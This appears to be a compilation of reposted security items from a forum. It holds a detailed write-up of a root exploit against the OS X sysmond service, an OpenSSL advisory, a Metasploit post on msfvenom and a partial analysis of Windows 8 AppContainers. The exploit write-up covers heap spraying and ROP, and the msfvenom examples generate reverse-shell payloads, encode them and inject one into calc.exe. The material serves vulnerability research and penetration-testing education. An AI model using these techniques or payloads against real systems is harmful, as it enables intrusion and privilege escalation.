"Type" uint64 value in the xpc request dictionary __text:000000010000338F mov rsi, [rbx+28h] ; "Attributes" value in the xpc request dictionary __text:0000000100003393 call sub_100003454 this function extracts the Type and Attribute values and passes them to sub_100003454: __text:0000000100003454 sub_100003454 proc near ; CODE XREF: sub_10000337D+16p __text:0000000100003454 ; handler+C0 p __text:0000000100003454 push rbp __text:0000000100003455 mov rbp, rsp __text:0000000100003458 push r15 __text:000000010000345A push r14 __text:000000010000345C push r12 __text:000000010000345E push rbx __text:000000010000345F mov r12, rsi ; this is "Attributes" value __text:0000000100003462 mov r14, rdi ; which was read from the dictionary with xpc_dictionary_get_value __text:0000000100003465 mov rdi, r12 ; meaning it could be any xpc type __text:0000000100003468 call _xpc_data_get_length ; use "Attributes" value as an xpc_data object __text:000000010000346D mov r15, rax __text:0000000100003470 mov rdi, r15 ; size_t __text:0000000100003473 call _malloc __text:0000000100003478 mov rbx, rax __text:000000010000347B mov rdi, r12 __text:000000010000347E mov rsi, rbx __text:0000000100003481 xor edx, edx __text:0000000100003483 mov rcx, r15 __text:0000000100003486 call _xpc_data_get_bytes ; use "Attributes" value again interpreted as an xpc_data the xpc_data_get_bytes call is the interesting one: __text:00000000000114BE _xpc_data_get_bytes proc near __text:00000000000114BE push rbp __text:00000000000114BF mov rbp, rsp ... __text:00000000000114D2 mov r14, rsi __text:00000000000114D5 mov r13, rdi __text:00000000000114D8 cmp qword ptr [r13+28h], 0FFFFFFFFFFFFFFFFh __text:00000000000114DD jnz short loc_11515 ... __text:0000000000011515 lea rdi, [r13+28h] ; predicate __text:0000000000011519 lea rdx, __xpc_data_map_once ; function __text:0000000000011520 mov rsi, r13 ; context __text:0000000000011523 call _dispatch_once_f here, if the value at +28h isn't -1 then our xpc object will be passed as the context to __xpc_data_map_once: __text:00000000000028E9 __xpc_data_map_once proc near ; DATA XREF: _xpc_data_get_bytes_ptr+1Fo __text:00000000000028E9 ; __xpc_data_equal+46ao ... __text:00000000000028E9 push rbp __text:00000000000028EA mov rbp, rsp __text:00000000000028ED push r14 __text:00000000000028EF push rbx __text:00000000000028F0 mov rbx, rdi ; controlled xpc object __text:00000000000028F3 cmp byte ptr [rbx+48h], 0 ; if the byte at +48h is 0 __text:00000000000028F7 jnz short loc_291E __text:00000000000028F9 mov rdi, [rbx+30h] ; then pass the pointer at +30h __text:00000000000028FD lea rsi, [rbx+38h] __text:0000000000002901 lea rdx, [rbx+40h] __text:0000000000002905 call _dispatch_data_create_map ; to dispatch_data_create_map __text:000000000000290A mov r14, rax __text:000000000000290D mov rdi, [rbx+30h] ; object __text:0000000000002911 call _dispatch_release ; and then to dispatch_release we can return early from dispatch_data_create_map by setting the value at +28h from the pointer passed as the first arg to 0: __text:00000000000012B6 _dispatch_data_create_map proc near ; CODE XREF: __dispatch_data_subrange_map+34p __text:00000000000012B6 ; __dispatch_operation_perform+DEap __text:00000000000012B6 __text:00000000000012B6 push rbp __text:00000000000012B7 mov rbp, rsp __text:00000000000012BA push r15 __text:00000000000012BC push r14 __text:00000000000012BE push r13 __text:00000000000012C0 push r12 __text:00000000000012C2 push rbx __text:00000000000012C3 sub rsp, 38h __text:00000000000012C7 mov [rbp+var_58], rdx __text:00000000000012CB mov r15, rsi __text:00000000000012CE mov r14, rdi __text:00000000000012D1 mov r12, [r14+28h] ; if this is 0 __text:00000000000012D5 test r12, r12 __text:00000000000012D8 jz short loc_131C ; jumps to early return without disturbing anything else we then reach the call to dispatch_release which is passing the pointer at +30h of the xpc object we control (the API believes this is an xpc_data object) this ends up calling _dispatch_objc_release which sends the objective c "release" message to the object. We'll come back to how to get code code execution from that later. The crux of the bug is that the value of the "Attributes" key in the request dictionary is never validated to actually be an xpc_data object and the gets passed to functions expecting an xpc_data. In order to exploit this we need to have a value of a type other than xpc_data as the "Attributes" value in the request dictionary - specifically one where the offsets outlined above have suitably controlled values: +28h qword 0 +30h pointer to controlled data +48h byte 0 the xpc_uuid type comes the closest to fulfilling these requirements. We completely control the 16 bytes from +28h so the first two constraints are easily satisfied. Heap spraying is very reliable and fast in xpc, we can easily map a gigabyte of data into sysmond at a predicable address so we can point the pointer at +30h to that. The xpc_uuid object is only 40h bytes though, so we have no control over the byte at +48h which must be 0... OS X uses magazine malloc which is a heap-based allocator. It has three broad size classes (x<1k = tiny; 1k<x<15k = small; x>15k = large) and within these it will allocate approximately contiguously (using size-based free-lists to speed things up) with no inline-metadata which means there's a reasonable expectation that sequential allocations of similar sizes will be contiguous. Our xpc_uuid object is allocated when the request dictionary is received, so what's the next thing which is allocated? xpc_dictionaries have 6 hash buckets which store the heads of linked-lists for each bucket. As the dictionary is being deserialized first the value of a key is deserialized (allocating in this case the xpc_uuid) object then the entry is added to the linked-list (allocting a new linked-list entry struct.) The structure of a linked-list entry is approximately: struct ll { struct ll* forward; struct ll* backward; xpc_object_t* object; uint64_t flags; char key[0]; } This is a variable-size struct - the key is allocated inline. If the xpc_uuid is immediately followed in memory by its linked-list entry the the value at +48 will be the least-significant byte of the backward linked-list pointer. Our only requirement is that this byte be 0, which is easily achieved by ensuring that the previous linked-list entry struct in the list (which this linked-list entry points to) was allocated with an alignment of at least 256 bytes. The magazine malloc "small" size class heap chunks all have an alignment of 512 bytes meaning that we just need the linked-list entry prior to the xpc_uuid to be between 1k and 15k. In order for the key to end up in the right linked-list when it's deserialized we also need to make sure that the long key hashes to the same hash as "Attributes" - since there are only 6 possible hash values this is trivial. Finally, we can add another xpc_data object to the reqest dictionary with a gigabyte of heapspray as the value - this will be mapped into sysmond at a suitably predictable address meaning we can set the high 8 bytes of the uuid value to point to this. At this point we control a pointer to an objective-c object and the code will call objc_msgSend to "send a message" to our controlled object, which is the objective-c paradigm for calling methods. Let's look at the implementation of this to see how we can turn that into instruction pointer control: __text:000000000000117F __dispatch_objc_release proc near ; CODE XREF: _dispatch_release:loc_117Aj __text:000000000000117F ; _dispatch_data_create_subrange+183_p ... __text:000000000000117F mov rax, rdi __text:0000000000001182 cmp cs:__os_object_have_gc, 0 __text:0000000000001189 jnz short loc_119E __text:000000000000118B mov rcx, cs:msgRef_release__objc_msgSend_fixup __text:0000000000001192 lea rsi, msgRef_release__objc_msgSend_fixup __text:0000000000001199 mov rdi, rax __text:000000000000119C jmp rcx rdi points to our heap sprayed fake objective-c object. This code sets rsi to point to the msgRef_release__objc_msgSend_fixup structure then calls the value at that address which is objc_msgSend_fixup. msgRef_release__objc_msgSend_fixup is in the __objc_msgrefs section of the data segment and in lldb we can see that at runtime is has the following contents: { /usr/lib/libobjc.A.dylib`objc_msgSend_fixedup, "release" } and the implementation of objc_msgSend_fixedup is: (lldb) disassemble --name objc_msgSend_fixedup libobjc.A.dylib`objc_msgSend_fixedup: 0x7fff91d5d1c4: mov RSI, QWORD PTR [RSI + 8] 0x7fff91d5d1c8: jmpq 0x7fff91d5d080 ; objc_msgSend which just calls through to objc_msgSend passing the address of the "release" string as the second argument: (lldb) disassemble --name objc_msgSend libobjc.A.dylib`objc_msgSend: 0x7fff91d5d080: test RDI, RDI 0x7fff91d5d083: je 0x7fff91d5d0f8 0x7fff91d5d086: test DIL, 1 0x7fff91d5d08a: jne 0x7fff91d5d10f 0x7fff91d5d091: mov R11, QWORD PTR [RDI] ; rdi points to controlled fake objective-c object - read pointer to objective-c class 0x7fff91d5d094: mov R10, RSI ; copy selector (pointer to string of method to call) to r10 0x7fff91d5d097: and R10D, DWORD PTR [R11 + 24] ; mask off n upper bits of the pointer according to value of fake_class+18h 0x7fff91d5d09b: shl R10, 4 ; 0x7fff91d5d09f: add R10, QWORD PTR [R11 + 16] ; use that masked off value as an index into a cache array pointed to by fake_class+10h 0x7fff91d5d0a3: cmp RSI, QWORD PTR [R10] ; does the cache entry selector match the selector passed as the second arg? 0x7fff91d5d0a6: jne 0x7fff91d5d0ac 0x7fff91d5d0a8: jmp QWORD PTR [R10 + 8] ; if so, then call the cached function implementation address Objective-c classses cache the addresses of the selector strings, not the contents of the strings so in order to exploit this we need to be able to find the address of the "release" selector passed by _dispatch_objc_release so we can construct a fake selector cache. All these libraries are loaded at the same address in all processes so we can just find the selector address in this process and it'll be valid for sysmond. Having done this we get instruction pointer control. At this point rax and rdi point to the heap spray so this PoC uses a pivot gadget in CoreFoundation to move the stack to point into the heap spray and ROP to a system() call with controlled string (the poc does "touch /tmp/hello_root" as root ) [TABLE] [TR] [TD=width: 20] [/TD] [TD] sysmond_exploit_writeup.c 19.6 KB Download[/TD] [/TR] [/TABLE] Sursa: https://code.google.com/p/google-security-research/issues/detail?id=121

Mai e si: http://crymyip.com/

De vazut: http://www.moanmyip.com/

OpenSSL Security Advisory [08 Jan 2015] ======================================= DTLS segmentation fault in dtls1_get_record (CVE-2014-3571) =========================================================== Severity: Moderate A carefully crafted DTLS message can cause a segmentation fault in OpenSSL due to a NULL pointer dereference. This could lead to a Denial Of Service attack. This issue affects all current OpenSSL versions: 1.0.1, 1.0.0 and 0.9.8. OpenSSL 1.0.1 DTLS users should upgrade to 1.0.1k. OpenSSL 1.0.0 DTLS users should upgrade to 1.0.0p. OpenSSL 0.9.8 DTLS users should upgrade to 0.9.8zd. This issue was reported to OpenSSL on 22nd October 2014 by Markus Stenberg of Cisco Systems, Inc. The fix was developed by Stephen Henson of the OpenSSL core team. DTLS memory leak in dtls1_buffer_record (CVE-2015-0206) ======================================================= Severity: Moderate A memory leak can occur in the dtls1_buffer_record function under certain conditions. In particular this could occur if an attacker sent repeated DTLS records with the same sequence number but for the next epoch. The memory leak could be exploited by an attacker in a Denial of Service attack through memory exhaustion. This issue affects OpenSSL versions: 1.0.1 and 1.0.0. OpenSSL 1.0.1 DTLS users should upgrade to 1.0.1k. OpenSSL 1.0.0 DTLS users should upgrade to 1.0.0p. This issue was reported to OpenSSL on 7th January 2015 by Chris Mueller who also provided an initial patch. Further analysis was performed by Matt Caswell of the OpenSSL development team, who also developed the final patch. no-ssl3 configuration sets method to NULL (CVE-2014-3569) ========================================================= Severity: Low When openssl is built with the no-ssl3 option and a SSL v3 ClientHello is received the ssl method would be set to NULL which could later result in a NULL pointer dereference. This issue affects all current OpenSSL versions: 1.0.1, 1.0.0 and 0.9.8. OpenSSL 1.0.1 users should upgrade to 1.0.1k. OpenSSL 1.0.0 users should upgrade to 1.0.0p. OpenSSL 0.9.8 users should upgrade to 0.9.8zd. This issue was reported to OpenSSL on 17th October 2014 by Frank Schmirler. The fix was developed by Kurt Roeckx. ECDHE silently downgrades to ECDH [Client] (CVE-2014-3572) ========================================================== Severity: Low An OpenSSL client will accept a handshake using an ephemeral ECDH ciphersuite using an ECDSA certificate if the server key exchange message is omitted. This effectively removes forward secrecy from the ciphersuite. This issue affects all current OpenSSL versions: 1.0.1, 1.0.0 and 0.9.8. OpenSSL 1.0.1 users should upgrade to 1.0.1k. OpenSSL 1.0.0 users should upgrade to 1.0.0p. OpenSSL 0.9.8 users should upgrade to 0.9.8zd. This issue was reported to OpenSSL on 22nd October 2014 by Karthikeyan Bhargavan of the PROSECCO team at INRIA. The fix was developed by Stephen Henson of the OpenSSL core team. RSA silently downgrades to EXPORT_RSA [Client] (CVE-2015-0204) ============================================================== Severity: Low An OpenSSL client will accept the use of an RSA temporary key in a non-export RSA key exchange ciphersuite. A server could present a weak temporary key and downgrade the security of the session. This issue affects all current OpenSSL versions: 1.0.1, 1.0.0 and 0.9.8. OpenSSL 1.0.1 users should upgrade to 1.0.1k. OpenSSL 1.0.0 users should upgrade to 1.0.0p. OpenSSL 0.9.8 users should upgrade to 0.9.8zd. This issue was reported to OpenSSL on 22nd October 2014 by Karthikeyan Bhargavan of the PROSECCO team at INRIA. The fix was developed by Stephen Henson of the OpenSSL core team. DH client certificates accepted without verification [Server] (CVE-2015-0205) ============================================================================= Severity: Low An OpenSSL server will accept a DH certificate for client authentication without the certificate verify message. This effectively allows a client to authenticate without the use of a private key. This only affects servers which trust a client certificate authority which issues certificates containing DH keys: these are extremely rare and hardly ever encountered. This issue affects OpenSSL versions: 1.0.1 and 1.0.0. OpenSSL 1.0.1 users should upgrade to 1.0.1k. OpenSSL 1.0.0 users should upgrade to 1.0.0p. This issue was reported to OpenSSL on 22nd October 2014 by Karthikeyan Bhargavan of the PROSECCO team at INRIA. The fix was developed by Stephen Henson of the OpenSSL core team. Certificate fingerprints can be modified (CVE-2014-8275) ======================================================== Severity: Low OpenSSL accepts several non-DER-variations of certificate signature algorithm and signature encodings. OpenSSL also does not enforce a match between the signature algorithm between the signed and unsigned portions of the certificate. By modifying the contents of the signature algorithm or the encoding of the signature, it is possible to change the certificate's fingerprint. This does not allow an attacker to forge certificates, and does not affect certificate verification or OpenSSL servers/clients in any other way. It also does not affect common revocation mechanisms. Only custom applications that rely on the uniqueness of the fingerprint (e.g. certificate blacklists) may be affected. This issue affects all current OpenSSL versions: 1.0.1, 1.0.0 and 0.9.8. OpenSSL 1.0.1 users should upgrade to 1.0.1k. OpenSSL 1.0.0 users should upgrade to 1.0.0p. OpenSSL 0.9.8 users should upgrade to 0.9.8zd. One variant of this issue was discovered by Antti Karjalainen and Tuomo Untinen from the Codenomicon CROSS program and reported to OpenSSL on 1st December 2014 by NCSC-FI Vulnerability Co-ordination. Another variant was independently reported to OpenSSL on 12th December 2014 by Konrad Kraszewski from Google. Further analysis was conducted and fixes were developed by Stephen Henson of the OpenSSL core team. Bignum squaring may produce incorrect results (CVE-2014-3570) ============================================================= Severity: Low Bignum squaring (BN_sqr) may produce incorrect results on some platforms, including x86_64. This bug occurs at random with a very low probability, and is not known to be exploitable in any way, though its exact impact is difficult to determine. The following has been determined: *) The probability of BN_sqr producing an incorrect result at random is very low: 1/2^64 on the single affected 32-bit platform (MIPS) and 1/2^128 on affected 64-bit platforms. *) On most platforms, RSA follows a different code path and RSA operations are not affected at all. For the remaining platforms (e.g. OpenSSL built without assembly support), pre-existing countermeasures thwart bug attacks [1]. *) Static ECDH is theoretically affected: it is possible to construct elliptic curve points that would falsely appear to be on the given curve. However, there is no known computationally feasible way to construct such points with low order, and so the security of static ECDH private keys is believed to be unaffected. *) Other routines known to be theoretically affected are modular exponentiation, primality testing, DSA, RSA blinding, JPAKE and SRP. No exploits are known and straightforward bug attacks fail - either the attacker cannot control when the bug triggers, or no private key material is involved. This issue affects all current OpenSSL versions: 1.0.1, 1.0.0 and 0.9.8. OpenSSL 1.0.1 users should upgrade to 1.0.1k. OpenSSL 1.0.0 users should upgrade to 1.0.0p. OpenSSL 0.9.8 users should upgrade to 0.9.8zd. This issue was reported to OpenSSL on 2nd November 2014 by Pieter Wuille (Blockstream) who also suggested an initial fix. Further analysis was conducted by the OpenSSL development team and Adam Langley of Google. The final fix was developed by Andy Polyakov of the OpenSSL core team. [1] http://css.csail.mit.edu/6.858/2013/readings/rsa-bug-attacks.pdf Note ==== As per our previous announcements and our Release Strategy (https://www.openssl.org/about/releasestrat.html), support for OpenSSL versions 1.0.0 and 0.9.8 will cease on 31st December 2015. No security updates for these releases will be provided after that date. Users of these releases are advised to upgrade. References ========== URL for this Security Advisory: https://www.openssl.org/news/secadv_20150108.txt Note: the online version of the advisory may be updated with additional details over time. For details of OpenSSL severity classifications please see: https://www.openssl.org/about/secpolicy.html Sursa: https://www.openssl.org/news/secadv_20150108.txt

AIX for Penetration Testers GIAC (GPEN) Gold Certification Author: Zoltan Panczel, panczelz@gmail.com Advisor: Robert!Vandenbrink Accepted: January 7th 2015 Abstract AIX is a widely used operating system by banks, insurance companies, power stations and universities. The operating system handles various sensitive or critical information for these services. There is limited public information for penetration testers about AIX hacking, compared the other common operating systems like Windows or Linux. When testers get user level access in the system the privilege escalation is difficult if the administrators properly installed the security patches. Simple, detailed and effective steps of penetration testing will be presented by analyzing the latest fully patched AIX system. Only shell scripts and the default installed tools are necessary to perform this assessment. The paper proposes some basic methods to do comprehensive local security checks and how to exploit the vulnerabilities. Download: http://www.giac.org/paper/gpen/6684/aix-penetration-testers/125890

[h=1]Good-bye msfpayload and msfencode[/h]Posted by Wei Chen in Metasploit on Dec 9, 2014 2:21:03 PM Greetings all, On behalf of the Metasploit's development teams, I'd like to officially announce the decision of deprecating msfpayload and msfencode. Also starting today, we no longer support or accept patches for these two utilities. On June 8th 2015, the elderly msfpayload and msfencode will retire from the Metasploit repository, and replaced by their successor msfvenom. The tool msfvenom is the combination of msfpayload and msfencode, and has been in testing for more than 3.5 years. msfpayload and msfencode have been in service to the hacking community for almost 10 years. What's really remarkable about them is that and they've been playing a big part in the success of computer hacking on almost every level, offense or defense. As an experienced penetration tester, sometimes maybe you don't necessarily know all the exploits out there publicly, maybe you don't even care because you're such a , but I'm pretty sure you would be more than happy to bring a modified executable generated by msfpayload for an on-site gig just in case. If you're just feeling nerdy all the way, you probably "concealed-carry" a msfpayload-generated file on your USB keychain at all times, too. If you're an exploit writer, for fun or profit, even if you don't really write Metasploit modules, you probably have used msfpayload to create something for you. If you're just a security enthusiast, maybe you've even used msfpayload to impress your friends. Both msfpayload and msfencode have also had their share in the education and entertainment industry, including: books, on-line tutorials, talks at security conferences, trainings, live interviews, Youtube, etc. I can spend my entire blog talking about how people use these tools if you let me. But if you have a cool hacking story done with mostly just msfpayload, please do share in the comment section below.The second remarkable thing about msfpayload and msfencode is the people behind them. Since 2005, the tools have been fixed, improved, maintained, and documented by the open source security community. Each person has sacrificed their weekends, holidays, quality time with their friends and family to make sure the tools remain working properly. It has not been always easy, and most importantly no contributors have ever asked anything in return. If you ever run into one of these Metasploit people at a conference, make sure to buy them a drink. As we begin the final six-month journey, we'd like to encourage you to use the time to become familiar with msfvenom. If you are a tool developer that relies on msfpayload or msfencode, now is a good time to start making that migration. If you're a trainer, please update your course materials. [h=2]Basic Msfvenom Usage[/h] If you have never used msfvenom, the first thing you should do is read the help menu, and memorize some of these flags: -p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads -l, --list [module_type] List a module type example: payloads, encoders, nops, all -n, --nopsled <length> Prepend a nopsled of [length] size on to the payload -f, --format <format> Output format (use --help-formats for a list) -e, --encoder [encoder] The encoder to use -a, --arch <architecture> The architecture to use --platform <platform> The platform of the payload -s, --space <length> The maximum size of the resulting payload -b, --bad-chars <list> The list of characters to avoid example: '\x00\xff' -i, --iterations <count> The number of times to encode the payload -c, --add-code <path> Specify an additional win32 shellcode file to include -x, --template <path> Specify a custom executable file to use as a template -k, --keep Preserve the template behavior and inject the payload as a new thread --payload-options List the payload's standard options -o, --out <path> Save the payload -v, --var-name <name> Specify a custom variable name to use for certain output formats -h, --help Show this message --help-formats List available formats Example 1: If you wish to list all the payloads available, you can do the following (also the same for listing encoders, nops, or all): ./msfvenom -l payloads Example 2: Generating a windows/meterpreter/reverse_tcp: ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP -f exe Example 3: To generate a payload that avoids certain bad characters: ./msfvenom -p windows/meterpreter/bind_tcp -b '\x00' Example 4: To generate a payload with a specific encoder, and then encode 3 times: ./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 Example 5: Inject a payload to calc.exe, and save it as new.exe ./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -k -f exe > new.exe Msfvenom is also documented [here] And that's it for today. If you find any issues with msfvenom, please report to: https://github.com/rapid7/metasploit-framework/issues Sursa: https://community.rapid7.com/community/metasploit/blog/2014/12/08/good-bye-msfpayload-and-msfencode

Nu apela FreeLibrary decat daca stii ca nu mai apelezi vreo functie. LoadLibrary face multe: - citeste un fisier de pe disk - scrie datele in memorie - incarca DLL-urile importate de acel DLL - face relocari ... Sunt chestii care dureaza mult. Daca vrei sa apelezi functii dintr-un DLL, il incarci o data si apelezi metodele de care ai nevoie. Daca o sa il incarci si descarci din memorie la fiecare apel de functie, o sa mearga ca curul programul tau. Poti descarca din memorie un DLL cu GetModuleHandle (cum s-a spus mai sus) si FreeLibrary. Am vazut partial acel video. Acolo creaza un DLL si un EXE, iar EXE foloseste acel DLL. Daca te uiti atent, vei vedea ca adauga la setarile pentru linker LIB-ul acelui DLL. Acel lib face "legatura" dintre EXE si DLL, iar daca DLL-ul e creat de tine sau daca de exemplu folosesti un DLL din Windows (ex. ws2_32) ai la dispozitie acel lib necesar. Daca nu le ai, atunci poti folosi versiunea dinamica, altfel nu cred ca isi are rostul pentru ca te complici degeaba. Nota: https://www.google.com/search?q=dll+lib&ie=utf-8&oe=utf-8#safe=off&q=create+lib+from+dll

Securing Microsoft Windows 8: AppContainers Posted by Andrea Allievi On luglio 5, 2013 Recently, we have been conducting an analysis concerning the new Windows 8 security features. There are few documents available in Internet about this topic and no one of them explains the entire implementations in detail. The paper has been divided in two parts because of the complexity of the topic. Microsoft engineers have done an impressive job by improving their Operating System security. They implemented the so called “mitigations”. The term is used to indicate a new specific security feature that has the aim to make more difficult a possible attack. There are several new Security mitigations: disabled Null Page allocation, Win32k System call mitigation, “Int 0x29” Security Assertions (on double linked list, GS cookie), Non-executable non paged pool, Intel SMEP technology, Intel Secure Key technology, and so on. The reader may find a lot of useful information on the following analysis paper done by MJ0011 (presented at Hitcon 2012 security conference): http://hitcon.org/2012/download/0720A5_360.MJ0011_Reversing Windows8-Interesting Features of Kernel Security.pdf Despite the effectiveness of these mitigations, we think that the most important new characteristic is the AppContainers sandbox. We will talk about it in this analysis. Windows 8 Sandbox: AppContainer & Lowbox tokens As the reader may know, the Google Chrome browser implements a great Sandbox for web pages environment, which, even if consumes a lot of system resources, it properly works: if an attacker finds a vulnerability and succeeds in his exploitation, he will get the machine control, but only in a sandboxed environment with minimal user rights and privileges. In this environment context, the attacker can do few operations: it is prevented to open a file, to read and write, to open another process. Basing on this idea, Microsoft has conducted a research and implemented its concept of Sandbox. The AppContainer and the Lowbox tokens have been thought to implement an OS Sandbox. If you have ever developed a new Metro style application, you already know that a Metro app runs in a sandboxed context (AppContainer): if you deploy your app, you have to declare your app “Capabilities”. At present, Windows 8 defines only a small set of capabilities. If, for instance, a Metro app was able to read and write the user documents, it should declare and enable the SECURITY_DOCUMENTS_LIBRARY capability in its manifest file. All this kind of requirements are documented in the MSDN for Metro-style applications. All the Metro style applications run in a context of an AppContainer, with a Lowbox token. We are going now to analyse how this sandbox has been implemented for Metro application, and especially how Lowbox tokens are created, used and destroyed. We will try to extend the AppContainer model to all others standard Win32 executable too, even if Microsoft states that the Sandboxed environment is available only for new Metro style applications. AppPackage Capabilities snapshot AppContainers Implementation Brief introduction of Metro Apps and new Start Menu The new Metro style Start menu is managed entirely by the Explorer component. At start-up time, this Windows process decides if it has to create a new Start menu by doing the following check: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 7 [/TD] [TD=class: crayon-code]BOOL IsDesktopWindowAlreadyPresent() { if (FindWindow(NULL, "Progman") == NULL && FindWindow(NULL, "Proxy Desktop") == NULL) return FALSE; else return TRUE; } [/TD] [/TR] [/TABLE] If the check returns TRUE, then Explorer will send a message to its other instances to properly show “Libraries” window (created and drew from a new Thread). Otherwise it will start creating the Desktop, the Tray bar and finally the new “Immersive Launcher” start menu. The new start menu is created registering a lot of Window classes (in our tests we have counted about 45 different classes). The creation process is quite entirely managed by SHDesktopMessageLoop Shell32 routine. Analysing the creation and drawing modality of new Metro interface done by Explorer process is beyond the scope of this article. We would only like to highlight some essential implementation details: Metro style interface management is implemented, in addition to the Explorer process, also in a lot of System libraries, like Shell32, ExplorerFrame and, the most important one, Twinui. The Explorer process depends on them. The Explorer process deeply uses some MS technology, like COM+ and RPC, to communicate to other needed processes The New Metro applications sandboxing and launching is administrated by the “BrokerInfrastructure” System service and by WWAHost process. Without these two components, all Metro applications could not execute. We are going to show how they interact with Explorer process. When the user launches a Metro application, clicking his own tile in Start menu, Explorer sends an RPC message to the Broker service (that runs in “svchost.exe” process context). The broker service starts its job by checking RPC parameters and, if it is all ok, it impersonates RPC Security token (of Explorer process). Then it resolves target Metro application “AppPackage” information, and adds its security attributes to impersonation token (“WIN://SYSAPPID” attribute stores App Package Id, and “WIN://PKG” stores Package name). Each registered Metro application has indeed an AppPackage context, used to save a lot of information, as the application name, the version, the capabilities and so forth. Now the token is ready to be transformed in an AppContainer. The new token will be called Lowbox Token. The broker service may create also, if necessary, a new Lowbox token and starts WWAHost process with a particular command line used to communicate target Metro application DLL. Most of the default Metro applications are indeed DLL libraries hosted by WWAHost process. Process Explorer snapshot, showing Broker service that has launched “News” Metro application in an AppContainer environment (WWAHost process In the beginning was CreateProcess API In this subsection we are going to describe entire AppContainer process token creation. The broker service indeed exploits CreateProcessAsUser API to do actual token creation. This API is used when an application would like to launch a target process in another Security context (on behalf of another user or with an impersonation token). This system interface already existed in Windows 2000, but now, in Windows 8, its functionality has been improved. Broker service indeed launches the WWAHost process specifying a new structure in CreateProcessAsUser tenth parameter: STARTUPINFOEX. According to MSDN documentation, this structure is defined as follow: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 [/TD] [TD=class: crayon-code]typedef struct _STARTUPINFOEX { STARTUPINFO StartupInfo; PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; } STARTUPINFOEX, *LPSTARTUPINFOEX; [/TD] [/TR] [/TABLE] lpAttributeList is an opaque attribute list structure pointer. Microsoft has provided some subsidiary system procedures to create and update the list. The only official documentation existing is the one we proposed (except for some attributes documentation).The broker service includes only one attribute in list: PROC_THREAD_ATTRIBUTE_PACKAGE_FULL_NAME. Its value is a pointer to the full Metro application Package name. Analysis of “CreateProcessAsUser” call CreateProcessAsUser is only a stub: it actually demands the entire work to its internal function CreateProcessInternalW. The latter begins with some parameters checks, it initializes its stack variables, and then it determines if EXTENDED_STARTUPINFO_PRESENT flag is present in dwCreationFlags parameter. If so, it uses BasepConvertWin32AttributeList to safely retrieve a copy of Package full name string. Then it continues processing each of the specified flags (we are not interested on details). If the package name is valid CreateProcessInternal verifies if g_bElevationPresent kernel32 symbol is set to 1: otherwise it tries to enable it with the aid of ApiSetQueryApiSetPresence function (this API seems to be able to load needed dependencies). All App Package information are retrieved thanks to BasepAppXExtension Kernel32 exported function. This is one of the key routines: its task is to open App Package and retrieve all information about it (like Capabilities, working directory and so on…). This is an internal OS function. Indeed it starts by checking the license tampering status, then it verifies the following condition: AppContainer token creation must be done from a process living in logon Session 0 (System security context) The calling process current token (primary or impersonation) must have SysAppId and Pkg Security attributes set If one of these two conditions is not satisfied, then the procedure fails with a STATUS_NOT_SUPPORTED error. Otherwise, the current token owner SID is retrieved (with GetTokenInformation Win32 API) and converted to string. This will be used to open the AppPackage registry key: AppXMiniRepository:: OpenPackageKey internal function accepts the user SID string as a parameter, it builds the AppPackage registry key in the following way: HKEY_USERS\<User SID>\Software\Classes\Local Settings\Software\Microsoft\Windows\ CurrentVersion\AppModel\Repository\Packages\<AppContPckName> where: “AppContPckName“ is the complete name of AppPackage (for example “Microsoft.BingNews_1.2.0.135_x64__8wekyb3d8bbwe”); this name will become the “Moniker” “User SID“ is the SID of the user that owns the token impersonated by the Broker service “HKEY_USERS\<User SID>“ is the link target of HKEY_CURRENT_USER key (indeed Broker service runs in System security context, and it has not the “CurrentUser” key mapped) Control returns to GetPackageInformationForCreateProcess procedure that obtains all the necessary information reading the App Package registry key values like “PackageRootFolder” (Metro application root folder), “PackageState”, “PackageSid” (AppContainer SID). Finally it parses each of the AppContainer capabilities, reading the “CapabilitySids” and the “CapabilityCount” registry values. The App package state is verified and all its dependencies are loaded… If it all went right, BasepAppXExtension returns to caller (CreateProcessInternalW) with a structure containing all the necessary information: App container SID and associated security capabilities App Package name and full path Dependency packages full path and names A snap of “CreateProcessInternal” system routine code Now the CreateProcessInternal jumps to the main user-mode internal routine that creates LowBox token: BasepCreateLowBox. User-Mode LowBox Token Creation deep analysis The Lowbox token creation begins in BasepCreateLowBox routine. Its prototype is the following: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]NTSTATUS BasepCreateLowBox (HANDLE hOrgToken, SECURITY_CAPABILITIES *pSecCap, HANDLE *hOutToken) [/TD] [/TR] [/TABLE] First of all the parameters are checked: whether the original Token handle is NULL, the current process token is retrieved with the aid of NtOpenProcessToken native API; if the original token is already an AppContainer, then the token is checked and duplicated with BasepCreateTokenFromLowboxToken routine and finally the function exits. In spite of we are now supposing, the majority of Lowbox token creation code is located in user-mode. Indeed if the original token is not an AppContainer, and all the checks mentioned succeed, a lot of things happen: control is transferred to BasepCreateLowBoxObjectDirectories procedure. This one accepts as an input the App Container SID and the token handle. If routine succeeded, it returns the following output: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 7 8 9 10 [/TD] [TD=class: crayon-code]typedef struct _LOWBOX_DATA { HANDLE hAppContainerDir; // + 0x00 - Handle to "\Sessions\<ID>" // "\AppContainerNamedObjects\<AppContSid>" Directory HANDLE hAppContainerRpcDir; // + 0x08 - Handle to "RPC Control" AppContainer directory HANDLE hLocalSymLink; // + 0x10 - Handle to "Local" AppContainer Symbolic link object HANDLE hGlobalSymLink; // + 0x18 - Handle to "Global" AppContainer Symbolic link object HANDLE hSessionSymLink; // + 0x20 - Handle to "Session" AppContainer Symbolic link object HANDLE hAppContNamedPipe; // + 0x28 - Handle to this App Container named pipe } LOWBOX_DATA, *PLOWBOX_DATA; [/TD] [/TR] [/TABLE] BasepCreateLowBoxObjectDirectories obtains the session ID from the original token, it converts App Container SID to string and it starts to build App container directory objects strings. Indeed each of the App Containers sandbox environments is based on Logon session boundaries. That’s why two identical App Containers can be in two different sessions. “\Sessions\<ID>\BasedNamedObjects” directory is opened (where <ID> is token Session ID) with NtOpenDirectoryObject native API; its DACL is retrieved with the Original token owner user SID. The App Container Security descriptor is built with BasepBuildPackageSecurityDescriptor, starting with 